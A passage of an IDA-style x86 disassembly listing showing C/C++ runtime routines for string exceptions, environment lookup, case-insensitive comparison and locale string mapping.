sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25D0000h push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB980 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB980 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB980 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DCDBC, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DCEC1[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEF+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6F0 mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D04 call sub_40D6B4 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D08o ; ___:00427D18o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A0 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D04o push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D20 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D04 call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D14 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D14o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:0042808Co mov dword ptr [ecx], offset off_427D14 jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D561+13p ; sub_40D725+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428088 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D561 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D20 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D04 call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D04 call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D40o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:00428134o mov dword ptr [ecx], offset off_427D40 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D14 mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B1+15p ; sub_40D50A+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428130 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D40 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D40 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D0Co var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428170 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D48o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428130 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D1Co push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428088 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426750 proc near nop jmp near ptr 71B2ACCBh sub_426750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_426756 proc near ; CODE XREF: sub_40CE41+5Ep ; ___:00414BE6p ... jmp near ptr 71AB1B7Bh sub_426756 endp ; --------------------------------------------------------------------------- db 0EBh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p nop jmp near ptr 2850000h sub_42675C endp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417276+E2p ; sub_417276+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DBA14, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D60 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D60o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D68 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D68 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D68 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D6Co mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D88 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 2660353h pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DBA14, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DBA14 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DA8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DBC6C, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427938 mov edi, 100h push edi push esi call near ptr 2640000h nop test eax, eax jz short loc_4269DC mov dword_4DBC6C, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CB50C push edi push esi nop call near ptr 2650000h test eax, eax jz loc_426B7D mov dword_4DBC6C, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DBC6C cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DBA24 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 280105Fh nop mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 280105Fh nop test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2650000h nop test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2810000h mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C9DC mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBC70 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427938 push esi nop call near ptr 2600591h test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CB50C push esi push edi nop call near ptr 2610000h test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DBC70, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2600591h jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DBA24 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 280105Fh mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 280105Fh test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DBA14 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2610000h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, 